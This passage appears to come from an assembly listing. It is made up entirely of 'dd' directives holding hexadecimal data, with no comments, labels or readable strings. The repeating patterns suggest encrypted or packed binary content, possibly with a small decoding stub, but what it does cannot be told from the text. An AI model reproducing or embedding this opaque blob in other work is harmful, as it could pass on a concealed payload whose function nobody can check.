7A01CF56h, 45720ACh, 0B8B70A05h dd 0FC6839C0h, 3A63FC9Bh, 0AAB8EA5Eh, 995C5425h, 0DC1460BEh dd 0C163313Ah, 22F11D72h, 0EC747E2Ah, 7546CB1Bh, 0F8287B76h dd 0DA6011A5h, 0C15FC6D2h, 0DBE91B4Dh, 79778455h, 0F9D2DD08h dd 5631F4ECh, 20D8D824h, 0A919F13h, 473F3A39h, 68306D92h dd 0B36729F4h, 0FAFFD6D8h, 0EE786992h, 0E02B2625h, 38889F83h dd 0EBE6E5AEh, 8F162498h, 0AD3452BEh, 275185DCh, 0B9BAD990h dd 773B2h, 0B0790200h, 0CFA02644h, 0ECBD4563h, 0FD86280h dd 2F0085A3h, 0F4B804C3h, 14329E6Fh, 3654C089h, 5775E1AAh dd 8E93FFD0h, 0DBD917E2h, 8B99D017h, 0FECF5678h, 0D5A3DAFFh dd 62B19661h, 0A4B1DC14h, 0E8B0ED38h, 11DA6674h, 6024EF19h dd 0FCDA14C1h, 0E66D7BEFh, 0E93A115h, 4B433E3Dh, 0B6840B29h dd 12DB652Bh, 72C51813h, 49D74E73h, 67610AD5h, 0FF09D01Eh dd 0E458AB74h, 127E4FD6h, 9D9C6DF4h, 0FF730D78h, 41DAB34h dd 479CA5CEh, 1D53547Eh, 2734E0D8h, 0CE8B92D0h, 70E0FE0h dd 6D4h, 0E34F18A1h, 26E3FC5h, 1F8B5CE4h, 42AE7701h, 62CE9F24h dd 0E9357A3h, 28B3D13Dh, 49D5F35Fh, 6FF61480h, 812D329Eh dd 17DAB8B6h, 172A38D0h, 0A027FC29h, 82D5D0CFh, 88D3DC0Eh dd 0C06D9722h, 0AEA1645Ch, 0A8DC17D5h, 9219279Bh, 0E19FD5A0h dd 4A57D017h, 3B498BF7h, 0EAF0E8B1h, 77939263h, 0E1747A45h dd 0EFFCD017h, 0BF59C4F7h, 0C69B804Bh, 8E9BDA12h, 0C497EF37h dd 787F80D4h, 654h, 63CF9821h, 82EEBF45h, 9F0BDC64h, 0C22EF781h dd 0E24E1FA4h, 8E13D723h, 0A83351BDh, 0C95573DFh, 0EF769400h dd 1ADB21Eh, 17DA3836h, 97AAB8D0h, 0B024FC29h, 17DF21E5h dd 3CB0BDDCh, 6AD6A72Eh, 6FF7C54Ch, 59A49F9Eh, 7AA8E8A9h dd 1F1E7140h, 73F883FAh, 55A8A3A2h, 0D55D16E1h, 0B15DA11h dd 6831BB81h, 0C81B6E69h, 0EEBF4654h, 14DD6482h, 0A93BDE6Ch dd 7E743F42h, 0F6DA1D4Ch, 572296E9h, 0DA1D4C19h, 7A79CCD9h dd 0DC502855h, 827A43CEh, 47F28D58h, 727CD018h, 0C99A20E6h dd 7ACC2376h, 1FDAC9E8h, 5AA171Eh, 42CB0000h, 69EF0D79h dd 860E2C98h, 0A12B49B5h, 0C94E6CD8h, 81CD8CF8h, 0FB6738BDh dd 1D8952DDh, 3EAA73FFh, 5CC89920h, 92E0AB57h dd 62D017E5h, 0CF564154h, 34818AFEh, 51FBDB0Fh, 0A9A1564Eh dd 0A3E55122h, 49410A95h, 9D11EF16h, 14D0BDD2h, 0A62B35DCh dd 678382D5h, 0A02D359h, 12DA2D47h, 1C1992D0h, 3A78458Eh dd 4ED05Ah, 0B2C00000h, 99645C2Dh, 0AE982432h, 11458DE3h dd 55865D6h, 6A622BB5h, 0BE32CE37h, 5C5B24B0h, 0CC22ED61h dd 0A4D61145h, 0AA759F97h, 0DC146809h, 39555461h, 66363C07h dd 0B1BED012h, 66FCF6B9h, 0C841D012h, 0C0B63DCBh, 0F27D5A3Ah dd 0CC000000h, 0CE9F2432h, 0D6DCD4CFh, 0FC0A7E4Fh, 0F8ADA576h dd 36AA7B00h, 453B3904h, 0AEBBD611h, 45016F3Ah, 0E4F1D611h dd 0B83F37ECh, 0C3CCE8E7h, 12F5442Ah, 1B21196Bh, 7C57C394h dd 0D6112A63h, 0C5390A91h, 22AAC893h, 0B2F5D611h, 0A943C10Dh dd 77C7D4CAh, 25201FF0h, 66ED0B2Dh, 34719695h, 0B8C6F86Ch dd 20EB5F30h, 0D61166D2h, 0DA9D95A2h, 0DC146FD9h, 5C7D0A13h dd 0CFAB383Ah, 0B21E2BD7h, 0EE623E67h, 1588AF23h, 31BDC7DAh dd 1B6E6968h, 0DB6775A7h, 0AD94A21Ah, 0A3F6B2FFh, 4F20A5ABh dd 7445CDDBh, 0B73C5A7Ch, 0BB70B4EEh, 489BE274h, 0C40295F1h dd 464D4ED4h, 438h, 7FEBB43Dh, 9E0ADB61h, 0BB27F880h, 0DE4A139Dh dd 0FE6A3BC0h, 0AA2FF33Fh, 0C44F6DD9h, 0E5718FFBh, 0B92B01Ch dd 1DC9CE3Ah, 17E41C52h, 0B3C6D4D0h, 9400D156h, 0B21EEF76h dd 9C2432CFh, 65A0D3CBh, 4541AF7Ah, 2431D611h, 0C44F5DD1h dd 8D7AB0FBh, 619CAA89h, 33743F69h, 2BDC140Fh, 109CAA1Eh dd 612C4847h, 0D012CF13h, 8B83D6E3h, 0CFD721D6h, 0F36CD012h dd 696368F6h, 0B9AA5A3Ah, 0F9000000h, 0FFFECF56h, 0B2B18207h dd 1149E2FDh, 0BA8B12D6h, 0E4AD3846h, 0D0F2EAE5h, 0E65A2BB2h dd 418BE9B4h, 5E6BD611h, 118CB166h, 67481387h, 0FFDC1448h dd 0C23B86F2h, 92E5AE39h, 0FCDE531Eh, 8B98DA15h, 92840917h dd 19F8A9C7h, 0F13C49DAh, 0F016600Fh, 1084D767h, 0B6AE7702h dd 20F17694h, 0C37D63C9h, 282F30D4h, 350h, 67D39C25h, 86F2C349h dd 0A30FE068h, 0C632FB85h, 0E65223A8h, 9217DB27h, 0AC3755C1h dd 0CD5977E3h, 0F37A9804h, 5B1B622h, 17E7343Ah, 9BAEBCD0h dd 0CD9E2432h, 794ACFD5h, 9768EF0Dh, 0C826F123h, 2AD61145h dd 1145115Fh, 0DED4E1D6h, 0D4B7D9D1h, 0FFFECF56h, 3BAF8007h dd 0DCD4A52Dh, 0A73C59BAh, 252EA27Eh, 8DCA64DBh, 608A822Dh dd 0C331FC2Eh, 0B3D611A0h, 60EBAEA6h, 0ADC1486h, 0A87ACDFDh dd 197C42B9h, 92A014ECh, 1741390Ah, 2D17EF4Ch, 7B7A8776h dd 0AA592F56h, 0AEEEA970h, 8168ADDh, 92BCB47Dh, 2BF005C7h dd 1C909D6Ch, 2EB9870Eh, 88A61265h, 69D93001h, 4A7EFD83h dd 28E4249h, 5EE70000h, 850B2995h, 0A22A48B4h, 0BD4765D1h dd 0E56A88F4h, 9DE9A814h, 178354D9h, 39A56EF9h, 5AC68F1Bh dd 78E4B53Ch, 0F6FCC773h, 7ED017E6h, 0CF565D70h, 45DC12DDh dd 4B16D611h, 0D6114525h, 0BDCAC0CDh, 0DF466B6Ah, 8D9BCD41h dd 0FAC53902h, 0D61145F4h, 0B4776F7Ch, 0DC145D5Bh, 4452C6D3h dd 0EC02CDBFh, 84D0125Ch, 2A252477h, 0DCAF1032h, 7AEE8AF3h dd 1779A4AFh, 531E50DAh, 0DA17701Dh, 24D0C8D5h, 74C4951Ah dd 9ECE21EAh, 99812D4Bh, 0C03E479Eh, 0EDF4F35h, 0F62F625Ah dd 10EBB62Ah, 0DA1480BCh, 0A9B2CECDh, 48CF59DDh, 327D7877h dd 120A5D05h, 66DAA6DFh, 80ACF99Bh, 0F0647112h, 22925BE2h dd 9061E8DBh, 0CC4B9691h, 84F04390h, 0B70EDF66h, 9D58103Dh dd 0B12A3132h, 0C4000001h, 0E806723Bh, 7259162h, 2442AE7Fh dd 4765D19Ah, 0C685F1C2h, 6031B67Ah, 824BD6F4h, 0A36CF816h dd 0C1921937h, 0D9A45055h, 0D017E19Bh, 563A4D5Bh, 8B406CFh dd 2245777Bh, 6621F636h, 0BF1265DEh, 204E194Bh, 0D0D611E0h dd 0F116CBC3h, 0F200CBB4h, 28D611E0h, 0DAD5D49Dh, 0FB87D7E4h dd 0A06BDF32h, 0DC14EDABh, 0C99A1F2Dh, 0AC1825D1h, 138A414Bh dd 0AF36FC88h, 0C4388BDEh, 2FF88492h, 7A3D3530h, 0DA17C891h dd 95C8C99h, 8302F24Bh, 0EB5F3964h, 0EDD94720h, 0F9839118h dd 3E363130h, 61868592h, 1DE85C24h, 16EB147Bh, 0F4FAC5F3h dd 7C071217h, 9AA81C6Fh, 0F1BA4513h, 38A4F7F2h, 6BC2931Ah dd 99BE28E7h, 0E5E8EFF0h, 90000000h, 0B4D23E07h, 0D3F15D2Eh dd 0F00E7A4Bh, 13319D66h, 9251BD8Eh, 2CFD8246h, 4E17A2C0h dd 6F38C4E2h, 8D5EE503h, 0A5701C21h, 0D017E04Fh, 56061927h dd 2E8206CFh, 85558E8Dh, 970E3332h, 0C5CA9509h, 6DDC14D7h dd 7CA9F460h, 9A2230A4h, 777647CCh, 372A297Ch, 55B43E5Dh dd 0BC075AC6h, 0B3E9D42Ah, 98C2BAA9h, 14AE01CDh, 0D5A8ADDAh dd 0DBABDA3Fh, 0A3D5499Ch, 1BB69AD8h, 0FD4D5ADAh, 0B0ABAA73h dd 840B03B8h, 0A22947B3h, 1D2B5DD1h, 0CDC8C798h, 1BB6B2C0h dd 0B13842DAh, 0B53D8DE0h, 0F2EAE5E4h, 8D13213Dh, 0CAC2BDBCh dd 0DD2DBA07h, 221F7A11h, 0B622F37Ah, 8C481198h, 0AB4A830Ah dd 3FBFA4Dh, 93B1B079h, 880FB7B4h, 0A62D4BB7h, 11CFD6D5h dd 73000000h, 1BA1176Ah, 0C9C4C394h, 0C5ABC27Eh, 3D5402CDh dd 504CD56h, 0B6B5860Dh, 6A6932BEh, 1F1EE772h, 0D2D1A227h dd 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h, 0E389536Fh dd 4C381h, 0BA520000h, 4, 875AD329h, 685C241Ch, 6D91h dd 51240C89h, 0C181E189h, 4, 4E981h, 0C870000h, 34895C24h dd 0A1685724h, 5F32850Ch, 81D7F74Fh, 8BA77AC7h, 5FF98938h dd 4EC81h, 24890000h, 24048324h, 55515E04h, 0E8069FBDh dd 246C0123h, 468F5D04h, 86E8108h, 23E8069Fh, 5E2434FFh dd 4C481h, 0C8B0000h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h dd 0D74FE95Ch, 54F1FFFCh, 6931BC25h, 0E66212D1h, 0A644B8C3h dd 0C5030606h, 3DCDE0FFh, 8C0C6C0Ah, 0DD4058h, 0DB6B3A32h dd 39EB0587h, 0BA0000h, 0BA02CCh, 0BA02E4h, 0 dd 0E22A4028h, 0D3334C69h, 8722447Eh, 0EA2940FCh, 0EB2307A8h dd 0D309298Eh, 870B6535h, 0F7085DF6h, 0EF134739h, 0E3264C5Ch dd 872D4917h, 8744C1DDh, 0D96729C5h, 0F3CE7721h, 0C3C62D55h dd 875A2D9Ch, 0D101295Ch, 0ACF94EDh, 5225227h, 0C8EFFE8h dd 844F2C50h, 51C64FE4h, 47CC902Fh, 88569CB1h, 3AC42F5Fh dd 81442DCBh, 44E5C17h, 84641036h, 9E3329C3h, 47CC7AB2h dd 874390C9h, 1AC2A0B8h, 0A412A46h, 82F296B3h, 0DC94D611h dd 0BEFAAAD3h, 87412AE6h, 0D4173E96h, 874390C9h, 1AC2A0B8h dd 0A412A46h, 82F587B3h, 0DC94D611h, 62FAA2D3h, 88412AD9h dd 47CCD255h, 0ADFE9C7Ah, 3ACC2FBBh, 814433B9h, 9CE6ACE8h dd 0ED112F14h, 84AF7C8Bh, 0A74729C5h, 0E1AEABFh, 6430D1Dh dd 93430DFCh, 0C247295Ch, 0EFE9EA7Bh, 345FE532h, 0F0631D0Ah dd 0E16899B1h, 78B6115Ch, 846358C4h, 0D64743BEh, 87472AB4h dd 441E092Eh, 0A30BA04Eh, 0A303A88Fh, 87473EC1h, 441668E2h dd 3824C803h, 3ACC49D8h, 81443FCDh, 73CF2B95h, 26E480Ah dd 81440B32h, 0DFC2A4A4h, 0ED412F9Eh, 84AF7B71h, 0A74729B8h dd 0E1DEA06h, 6430D7Ah, 9A430D53h, 0C547298Bh, 0D8B9EA97h dd 986C9A5Eh, 43C0AF9Ah, 4BA8A8DEh, 0A6CAA2D6h, 0E1412A0Fh dd 57B8FA9Ch, 9FD69C00h, 832D2FC6h, 6F172988h, 87472972h dd 0DF847198h, 83636DD5h, 83636DAFh, 87472903h, 0F68479CBh dd 0D109F7Bh, 8743C1ACh, 97472971h, 0C2129B8h, 69CD79A2h dd 83636DA5h, 87CCF89Ch, 8749AE84h, 0D51729C5h, 0B64873B4h dd 0B6487B21h, 0DF1D71E2h, 83636DD5h, 87473BC7h, 0ABFB8317h dd 2634E8FAh, 27DAF36Ch, 6C4429E5h, 0DF55DC4Bh, 8741AAB7h dd 12CC295Ch, 81442CA3h, 87472DFFh, 8745C58Bh, 0D51779C5h dd 8891A284h, 6F157940h, 874729AAh, 0B49A4D07h, 76351AAh dd 8796AE9Eh, 75B67466h, 8818B769h, 881579D3h, 0DD1F7340h dd 0C1F73E0h, 0E7430D18h, 0B12F9348h, 874739FFh, 6406E98Bh dd 5F224048h, 3F15D620h, 2513E13Ch, 0C2676C8h, 84C3265Ch dd 0E147292Eh, 0C3CED89Ch, 32272DAFh, 56CC496Eh, 25329184h dd 0ED1F4810h, 84AF78B8h, 0A747295Ch, 0E1EEA77h, 6430D5Bh dd 9F430DCFh, 0C64729C5h, 0E49FEAB3h, 0EDC195D5h, 0D74743B8h dd 87472AB4h, 441F092Eh, 0A303A04Fh, 0A303A88Fh, 874732C1h dd 441769E2h, 0D5131124h, 35B4AFF7h, 8742A153h, 621292Eh dd 784195DDh, 2CED55Bh, 81418F32h, 6F102988h, 87472972h dd 0D8847698h, 836355D5h, 83636DAFh, 87472902h, 0A6847ECCh dd 8742C046h, 47CB29E2h, 0CC258B9h, 858B2C40h, 2CE295Ch dd 81418FD5h, 0E5FE994h, 81E1D60Eh, 3E871AC3h, 87472B0Eh dd 872D8382h, 8744C1EEh, 0D967295Ch, 0F3CE77EDh, 0C3C62D33h dd 87502DAFh, 0D10129C5h, 0F260221h, 7AFA1A50h, 88412AB7h dd 874721D1h, 621492Eh, 7E4F29E5h, 0D14743EAh, 87472A2Dh dd 441909E2h, 0A333A02Fh, 0A303A8BCh, 87473D58h, 44116F2Eh dd 874AC0B1h, 784A298Bh, 43780332h, 3BBF530Dh, 657B2EBh dd 1423275Eh, 26C2EF06h, 0C4412A35h, 6F11297Dh, 87472988h dd 0D98477E5h, 83635D6Bh, 83636DF0h, 874729AEh, 4D847F1Ah dd 2766E2Ah, 81442E2Ah, 3FD477E3h, 8FAF7B84h, 0C74729E2h dd 16917266h, 6E7B6760h, 87472956h, 9F479F12h, 566EF0DAh dd 0D81863D9h, 87632D44h, 0ED1D873Ah, 84AF7971h, 0A74729B8h dd 0E1FEA04h, 6430D6Ah, 9F430D53h, 0C747298Bh, 0FBD1EA95h dd 7847AB52h, 846358C4h, 874DC0BEh, 46F6295Ch, 1BC1B79Dh dd 638D99C3h, 87472362h, 0D236D1C5h, 5C405838h, 0A881D26h dd 813B713Dh, 0F2FAA05Ah, 78412A27h, 0D04743C7h, 87472A63h dd 441809C5h, 0A33BA0BDh, 0A303A875h, 874732BCh, 44106E5Ch dd 0A6A02F37h, 0CB3C401Ch, 0A77AAC02h, 1482FC6h, 874729E1h dd 0A64C4F1h, 84582C3Dh, 0D547435Ah, 87472AC6h, 441D0917h dd 0A313A0D1h, 0A303A8C1h, 874730E6h, 44156B71h, 2A3D9BEFh dd 2CE083Bh, 814434D7h, 6F17297Dh, 87472988h, 0DF8471E5h dd 83636D6Bh, 83636DF0h, 874729A3h, 8584791Ch, 0CB27C47Bh dd 6E53B01Eh, 87472999h, 0B512B03Dh, 9F7A30D0h, 4D8BE811h dd 0D8F593C0h, 2818C9Ch, 8144328Fh, 0D0474344h, 87472A63h dd 441809C5h, 0A33BA0BDh, 0A303A875h, 87473FBCh, 44106E5Ch dd 0C920D85h, 846184A2h, 75CC4F8Dh, 0C81696ADh, 8BC42637h dd 88472971h, 87472F33h, 87CB265Ch, 647292Eh, 9E200D23h dd 872D0075h, 8744C190h, 0DA6729E2h, 0EBCE74B2h, 0C3C62D9Ch dd 875E2D78h, 0D202292Eh, 53D1D5D4h, 6E69C039h, 874729CBh dd 0B437052h, 1D605665h, 4C0DC62Ch, 0D5FE30CAh, 78774863h dd 846358A2h, 0D247438Dh, 87472A2Dh, 441A09E2h, 0A32BA02Ch dd 0A303A8BCh, 87473058h, 44126C2Eh, 8D561368h, 93AFF94Eh dd 604729C5h, 0B7F4BA32h, 0B0DFE1D0h, 0ABAF302Fh, 0BBEA2841h dd 0E7124820h, 0ACEFE9Ch, 8144056Ah, 2CA76A4h, 814155BAh dd 6F12291Bh, 874729BBh, 0DA84747Ch, 836345A7h, 83636D96h dd 87472997h, 76847C80h, 0B7E962BBh, 1EE1A8A3h, 788C9EB7h dd 0D647438Ch, 87472AC6h, 441E0917h, 0A30BA0D2h, 0A303A8C1h dd 874732E6h, 44166871h, 31C964F6h, 0E7A1A84Eh, 2CE9598h dd 81440AB2h, 6F1529E1h, 874729C6h, 0DD8473C2h, 83637DF8h dd 83636D39h, 87472940h, 3847B6Ch, 671F1580h, 75F2DB5Bh dd 26C2EF3Ch, 0D4412AF9h, 6F14291Bh, 874729BBh, 0DC84727Ch dd 836375A7h, 83636D96h, 8747299Eh, 98847A86h, 56F026E1h dd 9C0ADCFh, 8F894185h, 3D21E6E7h, 83C65EFFh, 0DAFCCC33h dd 3AD2A083h, 78412ADAh, 84635857h, 7ECAA277h, 0A412ABBh dd 813B71D9h, 0D1474328h, 87472AFFh, 4419098Bh, 0A333A09Bh dd 0A303A8E6h, 87473575h, 44116FB8h, 628EFF3Fh, 0E1D4FC07h dd 85C026FBh, 0D447298Bh, 0E797D69Ch, 0C91A284h, 846824FCh dd 2CE48BEh, 81440329h, 6F152944h, 87472914h, 0DD8473ABh dd 83637D4Ch, 83636D63h, 8747296Dh, 92847BFAh, 3BA4532Ch dd 1E9704F9h, 0DBCFE096h, 28123BFh, 81443264h, 0D14743A5h dd 87472A99h, 441909B8h, 0A333A002h, 0A303A82Ah, 87473313h dd 44116F8Bh, 1B130BFCh, 0E7CCE4A0h, 8C62ACF8h, 3ACC2FBBh dd 814405E5h, 26F8414Fh, 3814834Eh, 0AE62D8B2h, 0A373A89Ah dd 9AC055F4h, 6F10291Bh, 874729BBh, 0D884767Ch, 836355A7h dd 83636D96h, 87472990h, 5D847E82h, 0B29CB4B5h, 0E1D35C6Eh dd 7891CB02h, 846358E9h, 0D6474328h, 87472AFFh, 441E098Bh dd 0A30BA09Ch, 0A303A8E6h, 87473175h, 441668B8h, 7B537251h dd 81CE2657h, 0E472917h, 8449B81Eh, 0DFC2A4C3h, 0E412F9Eh dd 846BC8E4h, 0C97D6BEh, 846DFCE9h, 1AC2A028h, 0ED412A1Dh dd 84AF788Bh, 0A74729C5h, 0E1EEABBh, 6430D3Dh, 9C430DFCh dd 0C647295Ch, 1E5DEA7Fh, 226C0890h, 38211450h, 281F9CBh dd 81443243h, 5A529636h, 0AD2F1DD4h, 0E112D8DCh, 83C6F8A5h dd 6DD77933h, 50C64FA0h, 621F4C8h, 78920130h, 846358C4h dd 4DF826BEh, 829E9C77h, 2CA2F2Dh, 8141554Fh, 87472262h dd 0B6854BC5h, 0C9F9FE55h, 4F7532FBh, 3264F947h, 81440959h dd 8F26ACA7h, 872D2F14h, 8744C1DCh, 0D86729C5h, 0FBCE7621h dd 0C3C62D55h, 87512D9Ch dd 0D000295Ch, 0FE6252EDh, 9D5EF896h, 2815A05h, 81443264h dd 0D14743A5h, 87472A99h, 441909B8h, 0A333A002h, 0A303A82Ah dd 87473F13h, 44116F8Bh, 7F168149h, 9C0E9469h, 12CE2F72h dd 81440DA1h, 87472DB4h, 4A7B742Eh, 0FDFD4FBDh, 3D2179EFh dd 0C3CC6F4Fh, 0C212DC6h, 6E47A2A6h, 874729B5h, 0ADC2569Eh dd 0FD579B0Bh, 0ED3FB394h, 0A303A09Ah, 92C726C1h, 6F4729E2h dd 87472978h, 6DE129FCh, 1E578E52h, 88157993h, 0DE1F7326h dd 0D04743D3h, 87472A2Dh, 441809E2h, 0A33BA02Eh, 0A303A8BCh dd 87473358h, 44106E2Eh, 3BBC6ABEh, 0AECF0184h, 844EA040h dd 32CC7BE4h, 814421E0h, 0F6F2D6E6h, 0ED412A78h, 84AF7F2Eh dd 0A7472917h, 0E19EAD5h, 6430DB1h, 93430DA6h, 0C1472971h dd 6FADEAEEh, 87472952h, 55166214h, 3ABEE4AFh, 0D04818C1h dd 65C6DA3Dh, 9ADFAE3Dh, 0DFC2A428h, 78412FC4h, 0D247438Ch dd 87472AC6h, 441A0917h, 0A32BA0D6h, 0A303A8C1h, 874734E6h dd 44126C71h, 2BE4903Ah, 10F1105h, 3ACCC7B8h, 81440AE6h dd 0A1DAAC02h, 872D2FC6h, 8744C1B2h, 0DF672971h, 0C3CE717Bh dd 0C3C62D78h, 87532D0Ah, 0D7072917h, 1ACE8848h, 8144211Ch dd 8FAEF91Dh, 0ED472971h, 30171D92h, 0E4004F0h, 8458A0ABh dd 0B21D111h, 0AAFAA253h, 0A3412AE9h, 8740C0E6h, 0B7812971h dd 0A78C6582h, 8887234Fh, 874439AAh, 0D4474317h, 87472A63h dd 441C09C5h, 0A31BA0B9h, 0A303A875h, 87473EBCh, 44146A5Ch dd 906DB6A3h, 874738FEh, 117D5B8Bh, 6600C1EFh, 0B14D7Ch dd 2F8AC885h, 2818290h, 814432FDh, 0D0474361h, 87472AFFh dd 4418098Bh, 0A33BA09Ah, 0A303A8E6h, 87473D75h, 44106EB8h dd 4DCC4F1Fh, 0F17E3946h, 0A373A8F5h, 0DAB17C5Fh, 7FA793A3h dd 0A3369C1Dh, 872D2F72h, 8744C1EAh, 0DD67295Ch, 0D3CE73EDh dd 0C3C62D33h, 87512DAFh, 0D50529C5h, 3F602421h, 0A13F3F1h dd 813B713Dh, 0D247435Ah, 87472AC6h, 441A0917h, 0A32BA0D6h dd 0A303A8C1h, 874733E6h, 44126C71h, 75BDA20h, 0D7A0100Dh dd 0A1EE9407h, 781E2F14h, 0D047435Bh, 87472A2Dh, 441809E2h dd 0A33BA02Eh, 0A303A8BCh, 87473558h, 44106E2Eh, 0E452F2AAh dd 341BE558h, 0A387AA0Eh, 6F112988h, 87472972h, 0D9847798h dd 83635DD5h, 83636DAFh, 8747290Fh, 0CB847FCDh, 0D504E31Ch dd 8E12A4E3h, 57CD2F72h, 0A936AC31h, 124C2F5Fh, 81443207h dd 98CEAC9Ch, 4CCC2F88h, 0A1DAB44Eh, 872D2FE1h, 8744C126h dd 0D86729B8h, 0FBCE769Fh, 0C3C62D0Ah, 875F2D33h, 0D000298Bh dd 0C2764906h, 89AEB7E1h, 34472971h, 939F8E7Eh, 0F9151407h dd 0C941570Ah, 0ACC6A35h, 81443F26h, 8744A8CAh, 384829E2h dd 0ED5CA2BFh, 84AF7BB8h, 0A747295Ch, 0E1DEA74h, 6430D43h dd 9F430DCFh, 0C54729C5h, 0A0ACEAB0h, 0E180D987h, 40CDEE39h dd 24632D7h, 81443A17h, 621329Ch, 0B4442C62h, 0D047431Dh dd 87472A0Ah, 44180971h, 0A33BA0E7h, 0A303A858h, 87473C2Ah dd 44106E17h, 1ACEC687h, 8144339Ch, 41B59EEDh, 845C88F4h dd 872D6EBEh, 8744C10Fh, 0DC67292Eh, 0DBCE72D4h, 0C3C62DAFh dd 875F2DE1h, 0D40429E2h, 59C252B2h, 51C60367h, 0F28A4EF5h dd 2CD7FB46h, 85CF2670h, 3247298Bh, 0A343A8BBh, 0D7746535h dd 932A94FAh, 32B82FBBh, 81440D2Dh, 91CAACA7h, 0ACE2F14h dd 81443076h, 0FB1FAC48h, 0C212FE4h, 0ED97D6BBh, 84AF7CB8h dd 0A747295Ch, 0E1AEA73h, 6430D7Bh, 9D430DCFh, 0C24729C5h dd 5A7FEAB7h, 869946CEh, 0B484950h, 87472953h, 874723C7h dd 0D0B3E417h, 0BBC7F88Ch, 0C2B5656h, 8449F05Fh, 0E7274877h dd 8747A9B7h, 2CC295Ch, 81442373h, 75CC4F76h, 1AC2A0EAh dd 0C412ACFh, 8469C877h, 872D6977h, 8744C1EDh, 0DA67295Ch dd 0EBCE74EDh, 0C3C62D33h, 875C2DAFh, 0D20229C5h, 6CABD521h dd 0A6370B4Ch, 8753C006h, 0C602295Ch, 4D6B7600h, 0AD3848CFh dd 9465B7FCh, 0AB4C7732h, 87CC4534h, 9C6E94FAh, 87CC2FBBh dd 6F142936h, 8747292Dh, 0DC847237h, 83637502h, 83636D44h dd 874729FBh, 0A6847A32h, 6C988CDFh, 2EF2A09Ah, 0E412A39h dd 8458B892h, 6E97A28Dh, 87472922h, 99F84F1Bh, 9AC2A4C5h dd 0ED412F1Fh, 84AF7E5Ch, 0A747292Eh, 0E18EA48h, 6430DF7h dd 9C430D81h, 0C04729E2h, 600FEA26h, 4F90983Bh, 32CCB9A2h dd 81442647h, 87472FFFh, 8D3CD68Bh, 0E1545B52h, 0DD50FC58h dd 0D7B3A3E1h, 70CC7BE8h, 0DF1D1853h, 0D64743BEh, 87472AFFh dd 441E098Bh, 0A30BA09Ch, 0A303A8E6h, 87473575h, 441668B8h dd 20C434BAh, 0BB8B9AE1h, 2BA0A828h, 787C4B88h, 84656450h dd 8FC526E4h, 88472971h, 87472B3Eh, 0AC7985Ch, 81E00AB3h dd 1ED22A11h, 0D7412A91h, 0ED63354Ch, 84AF7BE2h, 0A7472971h dd 0E1DEAE2h, 6430D08h, 9D430D6Ah, 0C5472917h, 6F35EAD9h dd 0B3D59BFAh, 16D2A2BAh, 0D7412A6Dh, 83CE0D0Ah, 78B9A278h dd 8469A0BBh, 96CAA211h, 0E412A82h, 84695840h, 6ACAA2E4h dd 41412A5Ch, 845C883Dh, 0F7F57A5Ah, 8C3F9046h, 88157957h dd 87473A06h, 874AC1C5h, 194B29E2h, 9302D158h, 6DC9108Eh dd 0DDEC277Ah, 0D5171821h, 87E1E6A9h, 0DD7626D5h, 61F739Dh dd 8C810DE6h, 872D430Dh, 8744C1EEh, 0D967295Ch, 0F3CE77EDh dd 0C3C62D33h, 87502DAFh, 0D10129C5h, 0CD22921h, 2B059653h dd 32B87F76h, 81440D2Dh, 6F152944h, 87472914h, 0DD8473ABh dd 83637D4Ch, 83636D63h, 87472968h, 75847BFAh, 6DF6C55Eh dd 12D20271h, 0A412A3Eh, 813B710Eh, 0D04743C3h, 87472A0Ah dd 44180971h, 0A33BA0E7h, 0A303A858h, 87473F2Ah, 44106E17h dd 7881146Ch, 50C64F15h, 2CE44AEh, 8144258Ch, 6F1029D2h dd 8747295Fh, 0D884760Eh, 8363559Eh, 83636D0Ah, 874729D0h dd 9B847EA5h, 4190A2E5h, 845C883Dh, 872D6E5Ah, 8744C179h dd 0D8672917h, 0FBCE7648h, 0C3C62DE1h, 875D2DC6h, 0D0002971h dd 0E19D717Bh, 9BD04D99h, 8744A221h, 38482917h, 0EB3F4170h dd 0B3C6BF96h, 0A63EC1C6h, 0D0474346h, 87472A50h, 4418095Ch dd 0A33BA071h, 0A303A813h, 8747318Fh, 44106EC5h, 0E47D48CFh dd 0F6F2D6BFh, 0A412A9Ch, 813B71D9h, 0D7474328h, 87472AFFh dd 441F098Bh, 0A303A09Dh, 0A303A8E6h, 87473C75h, 441769B8h dd 57B85E76h, 6F122944h, 87472914h, 0DA8474ABh, 8363454Ch dd 83636D63h, 87472968h, 76847CFDh, 3D5F5E88h, 8FC226FCh dd 0D7472917h, 0A1DEA400h, 0E1E2FC6h, 84636067h, 92C32677h dd 6F4729B8h, 87472950h, 0E27B5B58h, 67D34C6Ah, 0A3BE0B37h dd 0DD1DEC45h, 9CE6AC24h, 0ED142F72h, 84AF7FB8h, 0A747295Ch dd 0E19EA70h, 6430D63h, 9B430DCFh, 0C14729C5h, 0DDBFEAB4h dd 0FE4D3426h, 0E1DA517Bh, 0EF227DE2h, 0AC8E03DAh, 1B632D96h dd 0ED2A59BFh, 84AF79C5h, 0A74729E2h, 0E1FEA29h, 6430DFCh dd 9D430D18h, 0C747292Eh, 6BE1EA47h, 9826D15Eh, 7CF02644h dd 87473A0Ah, 0BB0EE771h, 42532BB2h, 0D1ECCF26h, 0D3DEE07Ch dd 0F025F4DAh, 8BC69C02h, 781E2FC6h, 84635857h, 7ACAA277h dd 0A412A99h, 813B71D9h, 0D7474328h, 87472AFFh, 441F098Bh dd 0A303A09Dh, 0A303A8E6h, 87473375h, 441769B8h, 92E732CCh dd 0ACF4C234h, 844044AAh, 78B5A28Dh, 0D2474315h, 87472A0Ah dd 441A0971h, 0A32BA0E5h dd 0A303A858h, 87473F2Ah, 44126C17h, 0C320F08h, 8465FC78h dd 9AC2A0E4h, 0C412A66h, 846AB005h, 26C2EF5Ah, 0D0412A35h dd 6F10297Dh, 87472988h, 0D88476E5h, 8363556Bh, 83636DF0h dd 874729ADh, 0D3847E1Bh, 2AD141D1h, 0E1270E44h, 0E660E231h dd 0F7632D44h, 0ED2F9946h, 84AF7A71h, 0A74729B8h, 0E1CEA07h dd 6430D72h, 9F430D53h, 0C447298Bh, 4665EA96h, 78D8D95Ch dd 846358C4h, 0E6F218BEh, 0A412A7Fh, 813B71ABh, 0D0474311h dd 87472A63h, 441809C5h, 0A33BA0BDh, 0A303A875h, 874730BCh dd 44106E5Ch, 0FE91AD1h, 57B87FD3h, 6F1229E1h, 874729C6h dd 0DA8474C2h, 836345F8h, 83636D39h, 87472944h, 0D2847C6Bh dd 0B25BDF7Ch, 8A4A9400h, 7482FC6h, 874729E3h, 